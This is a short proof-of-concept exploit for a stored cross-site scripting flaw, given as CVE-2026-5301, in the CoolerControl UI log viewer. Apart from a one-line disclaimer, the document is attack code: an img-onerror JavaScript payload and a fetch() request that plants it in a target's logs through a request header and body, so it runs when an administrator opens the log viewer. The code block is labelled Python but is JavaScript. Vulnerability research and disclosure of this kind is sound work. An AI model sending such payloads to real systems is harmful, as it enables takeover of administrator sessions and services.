Stored XSS in log viewer in CoolerControl/coolercontrol-ui <4.0.0 allows unauthenticated attackers to take over the service via malicious JavaScript in poisoned log entries
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-5301
// This payload demonstrates how a stored XSS vulnerability can be triggered
// by injecting malicious JavaScript into the log viewer of CoolerControl < 4.0.0.
// Attackers may send a request that causes the application to log this string:
const xssPayload = '<img src=x onerror=alert("CVE-2026-5301_XSS")>';
// Example: Sending a request with a malicious header or body parameter
// that gets reflected in the application logs.
// When an administrator views the logs, the script executes.
fetch('http://target-host:port/api/log-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'User-Agent': xssPayload // or inject into body
},
body: JSON.stringify({ data: xssPayload })
});